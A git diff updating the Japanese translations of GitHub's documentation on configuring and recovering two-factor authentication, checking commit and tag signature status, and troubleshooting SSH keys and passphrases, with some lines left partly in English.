 {%- endif %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% ifversion fpt or ghec %}
 
-## Configuring two-factor authentication using text messages
+## テキストメッセージを使って 2 要素認証を設定する
 
-If you're unable to authenticate using a TOTP mobile app, you can authenticate using SMS messages. You can also provide a second number for a fallback device. If you lose access to both your primary device and your recovery codes, a backup SMS number can get you back in to your account.
+TOTP モバイルアプリを使って認証できない場合は、SMS メッセージで認証できます。 フォールバックデバイスのために、別の番号を提供することも可能です。 主に使うデバイスにもリカバリコードにもアクセスできなくなった場合、バックアップの SMS 番号でアカウントにアクセスできます。
 
-Before using this method, be sure that you can receive text messages. Carrier rates may apply.
+この方法を使う前に、テキストメッセージが受信できることを確認してください。 携帯電話の料金がかかる場合があります。
 
 {% warning %}
 
-**Warning:** We **strongly recommend** using a TOTP application for two-factor authentication instead of SMS. {% data variables.product.product_name %} doesn't support sending SMS messages to phones in every country. Before configuring authentication via text message, review the list of countries where {% data variables.product.product_name %} supports authentication via SMS. For more information, see "[Countries where SMS authentication is supported](/articles/countries-where-sms-authentication-is-supported)".
+**警告:** 2 要素認証には、SMS ではなく TOTP アプリケーションを使うことを**強くおすすめします**。 {% data variables.product.product_name %} は、SMS メッセージの送信をサポートしていない国があります。 テキストメッセージによる認証を設定する前に、SMS による認証を {% data variables.product.product_name %} がサポートしている国のリストを確認してください。 詳細は「[SMS 認証がサポートされている国](/articles/countries-where-sms-authentication-is-supported)」を参照してください。
 
 {% endwarning %}
 
@@ -96,46 +92,41 @@ Before using this method, be sure that you can receive text messages. Carrier ra
 {% data reusables.user_settings.security %}
 {% data reusables.two_fa.enable-two-factor-authentication %}
 4. Under "Two-factor authentication", select **Set up using SMS** and click **Continue**.
-5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. When your information is correct, click **Send authentication code**.
+5. Under "Authentication verification", select your country code and type your mobile phone number, including the area code. 入力した情報が正しいことを確認してから、[**Send authentication code**] をクリックします。
 
-  ![2FA SMS screen](/assets/images/help/2fa/2fa_wizard_sms_send.png)
+  ![2 要素認証 SMS 画面](/assets/images/help/2fa/2fa_wizard_sms_send.png)
 
-6. You'll receive a text message with a security code. On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
+6. セキュリティコードが書かれたテキストメッセージが送信されます。 On {% data variables.product.product_name %}, type the code into the field under "Enter the six-digit code sent to your phone" and click **Continue**.
 
-  ![2FA SMS continue field](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
+  ![[2FA SMS continue] フィールド](/assets/images/help/2fa/2fa_wizard_sms_enter_code.png)
 {% data reusables.two_fa.save_your_recovery_codes_during_2fa_setup %}
 {% data reusables.two_fa.test_2fa_immediately %}
 
 {% endif %}
 
-## Configuring two-factor authentication using a security key
+## セキュリティキーを使って 2 要素認証を設定する
 
 {% data reusables.two_fa.after-2fa-add-security-key %}
 
-On most devices and browsers, you can use a physical security key over USB or NFC. Some browsers can use the fingerprint reader, facial recognition, or password/PIN on your device as a security key.
+ほとんどのデバイスとブラウザでは、USB または NFC を介して物理セキュリティキーを使用できます。 一部のブラウザでは、デバイス上の指紋リーダー、顔認識、またはパスワード/ PIN をセキュリティキーとして使用できます。
 
-Authentication with a security key is *secondary* to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}. If you lose your security key, you'll still be able to use your phone's code to sign in.
+セキュリティキーによる認証は、TOTP アプリケーション{% ifversion fpt or ghec %}またはテキストメッセージ{% endif %}による認証の*二次的な*方法です。 セキュリティキーをなくした場合でも、モバイルデバイスのコードを使ってサインインできます。
 
-1. You must have already configured 2FA via a TOTP mobile app{% ifversion fpt or ghec %} or via SMS{% endif %}.
-2. Ensure that you have a WebAuthn compatible security key inserted into your computer.
+1. TOTP モバイルアプリ{% ifversion fpt or ghec %}または SMS{% endif %} 経由で、あらかじめ 2 要素認証を設定しておく必要があります。
+2. コンピュータに WebAuthn 準拠のセキュリティキーが挿入されていることを確認してください。
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.security %}
-5. Next to "Security keys", click **Add**.
-  ![Add security keys option](/assets/images/help/2fa/add-security-keys-option.png)
-6. Under "Security keys", click **Register new security key**.
-  ![Registering a new security key](/assets/images/help/2fa/security-key-register.png)
-7. Type a nickname for the security key, then click **Add**.
-  ![Providing a nickname for a security key](/assets/images/help/2fa/security-key-nickname.png)
-8. Activate your security key, following your security key's documentation.
-  ![Prompt for a security key](/assets/images/help/2fa/security-key-prompt.png)
-9.  Confirm that you've downloaded and can access your recovery codes. If you haven't already, or if you'd like to generate another set of codes, download your codes and save them in a safe place. If you lose access to your account, you can use your recovery codes to get back into your account. For more information, see "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)."
-	![Download recovery codes button](/assets/images/help/2fa/2fa-recover-during-setup.png)
+5. [Security keys] の隣にある [**Add**] をクリックします。 ![セキュリティキーの追加オプション](/assets/images/help/2fa/add-security-keys-option.png)
+6. [Security keys] で、[**Register new security key**] をクリックします。 ![新しいセキュリティキーを登録する](/assets/images/help/2fa/security-key-register.png)
+7. セキュリティキーのニックネームを入力して、[**Add**] をクリックします。 ![セキュリティキーにニックネームを付ける](/assets/images/help/2fa/security-key-nickname.png)
+8. お手持ちのセキュリティキーのドキュメンテーションに従い、セキュリティキーをアクティベートします。 ![セキュリティキーのプロンプト](/assets/images/help/2fa/security-key-prompt.png)
+9.  リカバリコードをダウンロードしていて、アクセスできることを確認してください。 まだコードをダウンロードしていないか、コードのセットをもう 1 つ生成したい場合は、コードをダウンロードして、安全な場所に保存します。 アカウントにアクセスできなくなった場合、リカバリコードを使ってアカウントへのアクセスを回復できます。 詳しい情報については[2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)を参照してください。 ![[Download recovery codes] ボタン](/assets/images/help/2fa/2fa-recover-during-setup.png)
 {% data reusables.two_fa.test_2fa_immediately %}
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
-- "[Recovering your account if you lose your 2FA credentials](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)"
-- "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)"
+- [2 要素認証について](/articles/about-two-factor-authentication)
+- [2 要素認証のリカバリ方法の設定](/articles/configuring-two-factor-authentication-recovery-methods)
+- [2 要素認証を使用して {% data variables.product.prodname_dotcom %} にアクセスする](/articles/accessing-github-using-two-factor-authentication)
+- [2FA クレデンシャルをなくした際のアカウントの回復](/articles/recovering-your-account-if-you-lose-your-2fa-credentials)
+- [個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
index 84d2bd82bf..367868097f 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/index.md
@@ -1,5 +1,5 @@
 ---
-title: Securing your account with two-factor authentication (2FA)
+title: 2 要素認証でアカウントを保護する
 intro: 'You can set up your account on {% data variables.product.product_location %} to require an authentication code in addition to your password when you sign in.'
 redirect_from:
   - /categories/84/articles
diff --git a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
index b734154e2b..29f7fa70f6 100644
--- a/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
+++ b/translations/ja-JP/content/authentication/securing-your-account-with-two-factor-authentication-2fa/recovering-your-account-if-you-lose-your-2fa-credentials.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your account if you lose your 2FA credentials
-intro: 'If you lose access to your two-factor authentication credentials, you can use your recovery codes, or another recovery option, to regain access to your account.'
+title: 2 要素認証クレデンシャルをなくした際のアカウントの回復
+intro: 2 要素認証の認証情報にアクセスできなくなった場合、リカバリコードまたはその他のリカバリ方法を使用して、アカウントへのアクセスを回復できます。
 redirect_from:
   - /articles/recovering-your-account-if-you-lost-your-2fa-credentials
   - /articles/authenticating-with-an-account-recovery-token
@@ -15,73 +15,66 @@ topics:
   - 2FA
 shortTitle: Recover an account with 2FA
 ---
+
 {% ifversion fpt or ghec %}
 
 {% warning %}
 
-**Warning**: {% data reusables.two_fa.support-may-not-help %}
+**警告**: {% data reusables.two_fa.support-may-not-help %}
 
 {% endwarning %}
 
 {% endif %}
 
-## Using a two-factor authentication recovery code
+## 2 要素認証リカバリコードを使用する
 
-Use one of your recovery codes to automatically regain entry into your account. You may have saved your recovery codes to a password manager or your computer's downloads folder. The default filename for recovery codes is `github-recovery-codes.txt`. For more information about recovery codes, see "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)."
+リカバリコードのうち 1 つを使用して、アカウントへのエントリを自動で再取得します。 リカバリコード は、多くの場合、パスワードマネージャまたはご使用のコンピュータのダウンロードフォルダに保存されています。 リカバリコードのデフォルトのファイル名は `github-recovery-codes.txt` です。 リカバリコードの詳しい情報については「[2 要素認証リカバリ方法を設定する](/articles/configuring-two-factor-authentication-recovery-methods#downloading-your-two-factor-authentication-recovery-codes)」を参照してください。
 
 {% data reusables.two_fa.username-password %}{% ifversion fpt or ghec %}
-2. Under "Having Problems?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
-2. On the 2FA page, under "Don't have your phone?", click **Enter a two-factor recovery code**.
-  ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
-3. Type one of your recovery codes, then click **Verify**.
-  ![Field to type a recovery code and Verify button](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
+2. [Having Problems?] の下で、[**Enter a two-factor recovery code**] をクリックします。 ![Link to use a recovery code](/assets/images/help/2fa/2fa-recovery-code-link.png){% else %}
+2. [2FA] ページで、[Don't have your phone?] の下にある [**Enter a two-factor recovery code**] をクリックします。 ![Link to use a recovery code](/assets/images/help/2fa/2fa_recovery_dialog_box.png){% endif %}
+3. リカバリコードを 1 つ入力して、[**Verify**] をクリックします。 ![リカバリコードを入力するフィールドおよび [Verify] ボタン](/assets/images/help/2fa/2fa-type-verify-recovery-code.png)
 
 {% ifversion fpt or ghec %}
-## Authenticating with a fallback number
+## フォールバック番号による認証
 
-If you lose access to your primary TOTP app or phone number, you can provide a two-factor authentication code sent to your fallback number to automatically regain access to your account.
+プライマリ TOTP アプリケーションや電話番号へのアクセスをなくした場合でも、 フォールバック番号に送信されている 2 要素認証コードを入力すれば、アカウントへのアクセスを自動で再取得できます。
 {% endif %}
 
-## Authenticating with a security key
+## セキュリティキーによる認証
 
-If you configured two-factor authentication using a security key, you can use your security key as a secondary authentication method to automatically regain access to your account. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."
+セキュリティキーを使用して 2 要素認証を設定した場合は、セキュリティキーをセカンダリ認証方式として使用すると、アカウントへのアクセスを自動で再取得できます。 詳しい情報については、「[2 要素認証を設定する](/articles/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)」を参照してください。
 
 {% ifversion fpt or ghec %}
-## Authenticating with a verified device, SSH token, or personal access token
+## 検証済みのデバイス、SSHトークン、または個人アクセストークンを使用した認証
 
 If you know your {% data variables.product.product_name %} password but don't have the two-factor authentication credentials or your two-factor authentication recovery codes, you can have a one-time password sent to your verified email address to begin the verification process and regain access to your account.
 
 {% note %}
 
-**Note**: For security reasons, regaining access to your account by authenticating with a one-time password can take 3-5 business days. Additional requests submitted during this time will not be reviewed.
+**注釈**: セキュリティ上の理由から、ワンタイムパスワードで認証してアカウントへのアクセスを回復するには、3〜5 営業日かかる場合があります。 この間に送信された追加のリクエストはレビューされません。
 
 {% endnote %}
 
-You can use your two-factor authentication credentials or two-factor authentication recovery codes to regain access to your account anytime during the 3-5 day waiting period.
+2要素認証の認証情報または 2 要素認証のリカバリコードを使用して、3〜5 日間の待機期間中にいつでもアカウントへのアクセスを回復できます。
 
-1. Type your username and password to prompt authentication. If you do not know your {% data variables.product.product_name %} password, you will not be able to generate a one-time password.
-2. Under "Having Problems?", click **Can't access your two factor device or valid recovery codes?**
-  ![Link if you don't have your 2fa device or recovery codes](/assets/images/help/2fa/no-access-link.png)
-3. Click **I understand, get started** to request a reset of your authentication settings.
-  ![Reset authentication settings button](/assets/images/help/2fa/reset-auth-settings.png)
-4. Click **Send one-time password** to send a one-time password to all email addresses associated with your account.
-  ![Send one-time password button](/assets/images/help/2fa/send-one-time-password.png)
-5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent.
-  ![One-time password field](/assets/images/help/2fa/one-time-password-field.png)
-6. Click **Verify email address**.
-7. Choose an alternative verification factor.
-    - If you've used your current device to log into this account before and would like to use the device for verification, click **Verify with this device**.
-    - If you've previously set up an SSH key on this account and would like to use the SSH key for verification, click **SSH key**.
-    - If you've previously set up a personal access token and would like to use the personal access token for verification, click **Personal access token**.
-  ![Alternative verification buttons](/assets/images/help/2fa/alt-verifications.png)
-8. A member of {% data variables.contact.github_support %} will review your request and email you within 3-5 business days. If your request is approved, you'll receive a link to complete your account recovery process. If your request is denied, the email will include a way to contact support with any additional questions.
+1. 認証を求めるためにユーザ名とパスワードを入力してください。 If you do not know your {% data variables.product.product_name %} password, you will not be able to generate a one-time password.
+2. [Having Problems?] の下で、[**Can't access your two factor device or valid recovery codes?**] をクリックします。 ![2fa デバイスまたはリカバリコードがない場合のリンク](/assets/images/help/2fa/no-access-link.png)
+3. [**I understand, get started**] をクリックして、認証設定のリセットをリクエストします。 ![認証設定のリセットボタン](/assets/images/help/2fa/reset-auth-settings.png)
+4. [**Send one-time password**] をクリックして、アカウントに関連付けられているすべてのメールアドレスにワンタイムパスワードを送信します。 ![ワンタイムパスワードの送信ボタン](/assets/images/help/2fa/send-one-time-password.png)
+5. Under "One-time password", type the temporary password from the recovery email {% data variables.product.prodname_dotcom %} sent. ![ワンタイムパスワードフィールド](/assets/images/help/2fa/one-time-password-field.png)
+6. [**Verify email address**] をクリックします。
+7. 別の検証要素を選択します。
+    - 以前に現在のデバイスを使用してこのアカウントにログインしたことがあり、検証にそのデバイスを使用する場合は、[**Verify with this device**] をクリックします。
+    - 以前にこのアカウントで SSH キーを設定しており、検証にその SSH キーを使用する場合は、[** SSH key**] をクリックします。
+    - 以前に個人アクセストークンを設定しており、検証にその個人アクセストークンを使用する場合は、[**Personal access token**] をクリックします。 ![代替検証ボタン](/assets/images/help/2fa/alt-verifications.png)
+8. {% data variables.contact.github_support %}のメンバーがリクエストをレビューし、3〜5 営業日以内にメールでお知らせします。 リクエストが承認されると、アカウントリカバリプロセスを完了するためのリンクが送信されます。 リクエストが拒否された場合、追加の質問がある場合のサポートへの問い合わせ方法がメールに記載されます。
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[About two-factor authentication](/articles/about-two-factor-authentication)"
-- "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)"
-- "[Configuring two-factor authentication recovery methods](/articles/configuring-two-factor-authentication-recovery-methods)"
-- "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/articles/accessing-github-using-two-factor-authentication)"
+- [2 要素認証について](/articles/about-two-factor-authentication)
+- [2 要素認証の設定](/articles/configuring-two-factor-authentication)
+- [2 要素認証のリカバリ方法の設定](/articles/configuring-two-factor-authentication-recovery-methods)
+- [2 要素認証を使用して {% data variables.product.prodname_dotcom %} にアクセスする](/articles/accessing-github-using-two-factor-authentication)
diff --git a/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md b/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
index 38e0b87865..10c0e66819 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/checking-your-commit-and-tag-signature-verification-status.md
@@ -1,6 +1,6 @@
 ---
-title: Checking your commit and tag signature verification status
-intro: 'You can check the verification status of your commit and tag signatures on {% data variables.product.product_name %}.'
+title: コミットおよびタグの署名の検証ステータスを確認する
+intro: '{% data variables.product.product_name %}のコミットやタグの署名について、検証ステータスを確認できます。'
 redirect_from:
   - /articles/checking-your-gpg-commit-and-tag-signature-verification-status
   - /articles/checking-your-commit-and-tag-signature-verification-status
@@ -16,28 +16,24 @@ topics:
   - Access management
 shortTitle: Check verification status
 ---
-## Checking your commit signature verification status
 
-1. On {% data variables.product.product_name %}, navigate to your pull request.
+## コミットの署名検証のステータスの確認
+
+1. {% data variables.product.product_name %}上で、プルリクエストに移動します。
 {% data reusables.repositories.review-pr-commits %}
-3. Next to your commit's abbreviated commit hash, there is a box that shows whether your commit signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![Signed commit](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
-4. To view more detailed information about the commit signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**.
-![Verified signed commit](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
+3. コミットの省略されたコミットハッシュの横に、コミット署名が検証済みか{% ifversion fpt or ghec %}、部分的に検証済みか、{% endif %}未検証かを示すボックスがあります。 ![署名されたコミット](/assets/images/help/commits/gpg-signed-commit-verified-without-details.png)
+4. コミットシグニチャの詳細情報を表示するには、[**検証済み**]{% ifversion fpt or ghec %}、[**部分的に検証済み**]、{% endif %}または [**未検証**] をクリックします。 ![検証された署名済みコミット](/assets/images/help/commits/gpg-signed-commit_verified_details.png)
 
-## Checking your tag signature verification status
+## タグの署名検証のステータスの確認
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.releases %}
-2. At the top of the Releases page, click **Tags**.
-![Tags page](/assets/images/help/releases/tags-list.png)
-3. Next to your tag description, there is a box that shows whether your tag signature is verified{% ifversion fpt or ghec %}, partially verified,{% endif %} or unverified.
-![verified tag signature](/assets/images/help/commits/gpg-signed-tag-verified.png)
-4. To view more detailed information about the tag signature, click **Verified**{% ifversion fpt or ghec %}, **Partially verified**,{% endif %} or **Unverified**. 
-![Verified signed tag](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
+2. [Releases] ページの上部にある [**Tags**] をクリックします。 ![[Tags] ページ](/assets/images/help/releases/tags-list.png)
+3. タグの説明の横に、タグの署名が検証済みか{% ifversion fpt or ghec %}、部分的に検証済みか{% endif %}、未検証かを示すボックスがあります。 ![検証されたタグ署名](/assets/images/help/commits/gpg-signed-tag-verified.png)
+4. タグシグニチャの詳細情報を表示するには、[**検証済み**]{% ifversion fpt or ghec %}、[**部分的に検証済み**]、{% endif %}または [**未検証**] をクリックします。 ![検証された署名済みタグ](/assets/images/help/commits/gpg-signed-tag-verified-details.png)
 
-## Further reading
+## 参考リンク
 
-- "[About commit signature verification](/articles/about-commit-signature-verification)"
-- "[Signing commits](/articles/signing-commits)"
-- "[Signing tags](/articles/signing-tags)"
+- [コミット署名の検証について](/articles/about-commit-signature-verification)
+- 「[コミットに署名する](/articles/signing-commits)」
+- 「[タグに署名する](/articles/signing-tags)」
diff --git a/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/index.md b/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/index.md
index 46abaa90df..150580ca02 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/index.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-commit-signature-verification/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting commit signature verification
-intro: 'You may need to troubleshoot unexpected issues that arise when signing commits locally for verification on {% data variables.product.product_name %}.'
+title: コミット署名検証のトラブルシューティング
+intro: '検証のためのローカルでの {% data variables.product.product_name %} 上のコミット署名時に発生する、予期しなかった問題のトラブルシューティングが必要になることがあります。'
 redirect_from:
   - /articles/troubleshooting-gpg
   - /articles/troubleshooting-commit-signature-verification
diff --git a/translations/ja-JP/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md b/translations/ja-JP/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
index 1f852e1bcf..0215de7910 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-ssh/error-agent-admitted-failure-to-sign.md
@@ -1,6 +1,6 @@
 ---
 title: 'Error: Agent admitted failure to sign'
-intro: 'In rare circumstances, connecting to {% data variables.product.product_name %} via SSH on Linux produces the error `"Agent admitted failure to sign using the key"`. Follow these steps to resolve the problem.'
+intro: 'ごくまれに、Linux で SSH 経由で {% data variables.product.product_name %} に接続すると、「Agent admitted failure to sign using the key」というエラーが発生する場合があります。 この問題を解決するには以下の手順に従ってください。'
 redirect_from:
   - /articles/error-agent-admitted-failure-to-sign-using-the-key
   - /articles/error-agent-admitted-failure-to-sign
@@ -15,7 +15,8 @@ topics:
   - SSH
 shortTitle: Agent failure to sign
 ---
-When trying to SSH into {% data variables.product.product_location %} on a Linux computer, you may see the following message in your terminal:
+
+Linux コンピュータで {% data variables.product.product_location %}に SSH 接続しようとすると、ターミナルに以下のメッセージが表示されることがあります:
 
 ```shell
 $ ssh -vT git@{% data variables.command_line.codeblock %}
@@ -25,14 +26,14 @@ $ ssh -vT git@{% data variables.command_line.codeblock %}
 > Permission denied (publickey).
 ```
 
-For more details, see <a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>this issue report</a>.
+詳細については、<a href="https://bugs.launchpad.net/ubuntu/+source/gnome-keyring/+bug/201786" data-proofer-ignore>こちらの問題レポート</a>をご覧ください。
 
-## Resolution
+## 解決策
 
-You should be able to fix this error by loading your keys into your SSH agent with `ssh-add`:
+`ssh-add` を使用してキーを SSH エージェントに読み込ませることでこのエラーを解決できます。
 
 ```shell
-# start the ssh-agent in the background
+# バックグラウンドで ssh-agent を開始
 $ eval "$(ssh-agent -s)"
 > Agent pid 59566
 $ ssh-add
@@ -40,10 +41,10 @@ $ ssh-add
 > Identity added: /home/<em>you</em>/.ssh/id_rsa (/home/<em>you</em>/.ssh/id_rsa)
 ```
 
-If your key does not have the default filename (`/.ssh/id_rsa`), you'll have to pass that path to `ssh-add`:
+キーのファイル名がデフォルト (`/.ssh/id_rsa`) ではない場合、そのパスを `ssh-add` に渡す必要があります。
 
 ```shell
-# start the ssh-agent in the background
+# バックグラウンドで ssh-agent を開始
 $ eval "$(ssh-agent -s)"
 > Agent pid 59566
 $ ssh-add ~/.ssh/my_other_key
diff --git a/translations/ja-JP/content/authentication/troubleshooting-ssh/error-unknown-key-type.md b/translations/ja-JP/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
index 9041475e84..0b7d85f0e3 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-ssh/error-unknown-key-type.md
@@ -1,6 +1,6 @@
 ---
 title: 'Error: Unknown key type'
-intro: 'This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client. '
+intro: This error means that the SSH key type you used was unrecognized or is unsupported by your SSH client.
 versions:
   fpt: '*'
   ghes: '>=3.2'
@@ -12,15 +12,16 @@ redirect_from:
   - /github/authenticating-to-github/error-unknown-key-type
   - /github/authenticating-to-github/troubleshooting-ssh/error-unknown-key-type
 ---
+
 ## About the `unknown key type` error
 
 When you generate a new SSH key, you may receive an `unknown key type` error if your SSH client does not support the key type that you specify.{% mac %}To solve this issue on macOS, you can update your SSH client or install a new SSH client.
 
-## Prerequisites
+## 必要な環境
 
 You must have Homebrew installed. For more information, see the [installation guide](https://docs.brew.sh/Installation) in the Homebrew documentation.
 
-## Solving the issue
+## 問題の解決
 
 {% warning %}
 
@@ -30,9 +31,9 @@ If you remove OpenSSH, the passphrases that are stored in your keychain will onc
 
 {% endwarning %}
 
-1. Open Terminal.
+1. ターミナルを開きます。
 2. Enter the command `brew install openssh`.
 3. Quit and relaunch Terminal.
-4. Try the procedure for generating a new SSH key again. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)."
+4. Try the procedure for generating a new SSH key again. 詳しい情報については、「[新しい SSH キーを生成して ssh-agent に追加する](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#generating-a-new-ssh-key-for-a-hardware-security-key)」を参照してください。
 
 {% endmac %}{% linux %}To solve this issue on Linux, use the package manager for your Linux distribution to install a new version of OpenSSH, or compile a new version from source. If you install a different version of OpenSSH, the ability of other applications to authenticate via SSH may be affected. For more information, review the documentation for your distribution.{% endlinux %}
diff --git a/translations/ja-JP/content/authentication/troubleshooting-ssh/index.md b/translations/ja-JP/content/authentication/troubleshooting-ssh/index.md
index b7b79529d9..cd3cdb14f5 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-ssh/index.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-ssh/index.md
@@ -1,6 +1,6 @@
 ---
-title: Troubleshooting SSH
-intro: 'When using SSH to connect and authenticate to {% data variables.product.product_name %}, you may need to troubleshoot unexpected issues that may arise.'
+title: SSH のトラブルシューティング
+intro: '{% data variables.product.product_name %} に接続して認証するために SSH を使っている場合、予期しない問題が起きてトラブルシューティングしなければならないことがあります。'
 redirect_from:
   - /articles/troubleshooting-ssh
   - /github/authenticating-to-github/troubleshooting-ssh
diff --git a/translations/ja-JP/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md b/translations/ja-JP/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
index e8e60da730..2895b84c1c 100644
--- a/translations/ja-JP/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
+++ b/translations/ja-JP/content/authentication/troubleshooting-ssh/recovering-your-ssh-key-passphrase.md
@@ -1,6 +1,6 @@
 ---
-title: Recovering your SSH key passphrase
-intro: 'If you''ve lost your SSH key passphrase, depending on the operating system you use, you may either recover it or you may need to generate a new SSH key passphrase.'
+title: SSH キーのパスフレーズのリカバリ
+intro: SSH キーのパスフレーズをなくした場合、ご使用のオペレーティングシステムによって、リカバリができることもあれば、SSH キーのパスフレーズを新たに生成することが必要なこともあります。
 redirect_from:
   - /articles/how-do-i-recover-my-passphrase
   - /articles/how-do-i-recover-my-ssh-key-passphrase
@@ -16,29 +16,28 @@ topics:
   - SSH
 shortTitle: Recover SSH key passphrase
 ---
+
 {% mac %}
 
-If you [configured your SSH passphrase with the macOS keychain](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain), you may be able to recover it.
+[macOS キーチェーンを使用して SSH パスフレーズを設定](/articles/working-with-ssh-key-passphrases#saving-your-passphrase-in-the-keychain)した場合、リカバリできる可能性があります。
 
-1. In Finder, search for the **Keychain Access** app.
-   ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png)
-2. In Keychain Access, search for **SSH**.
-3. Double click on the entry for your SSH key to open a new dialog box.
-4. In the lower-left corner, select **Show password**.
-   ![Keychain access dialog](/assets/images/help/setup/keychain_show_password_dialog.png)
-5. You'll be prompted for your administrative password. Type it into the "Keychain Access" dialog box.
-6. Your password will be revealed.
+1. [Finder] で、**Keychain Access** アプリケーションを検索します。 ![スポットライト検索バー](/assets/images/help/setup/keychain-access.png)
+2. [Keychain Access] で、**SSH** を検索します。
+3. SSH キーのエントリをダブルクリックして、新しいダイアログボックスを開きます。
+4. 左下隅で、[**Show password**] を選択します。 ![キーチェーンアクセスダイアログ](/assets/images/help/setup/keychain_show_password_dialog.png)
+5. 管理者パスワードを入力するようプロンプトが表示されます。 [Keychain Access] ダイアログボックスに入力します。
+6. パスワードのマスクが解除されます。
 
 {% endmac %}
 
 {% windows %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/managing-remote-repositories) so you can use your GitHub password instead.
+SSH キーパスフレーズをなくした場合、リカバリの方法はありません。 [まったく新しく SSH キーペアを生成する](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)か [HTTPS クローニングに切り替える](/github/getting-started-with-github/managing-remote-repositories)かして、GitHub パスワードを代替で使用できるようにする必要があります。
 
 {% endwindows %}
 
 {% linux %}
 
-If you lose your SSH key passphrase, there's no way to recover it. You'll need to [generate a brand new SSH keypair](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) or [switch to HTTPS cloning](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls) so you can use your GitHub password instead.
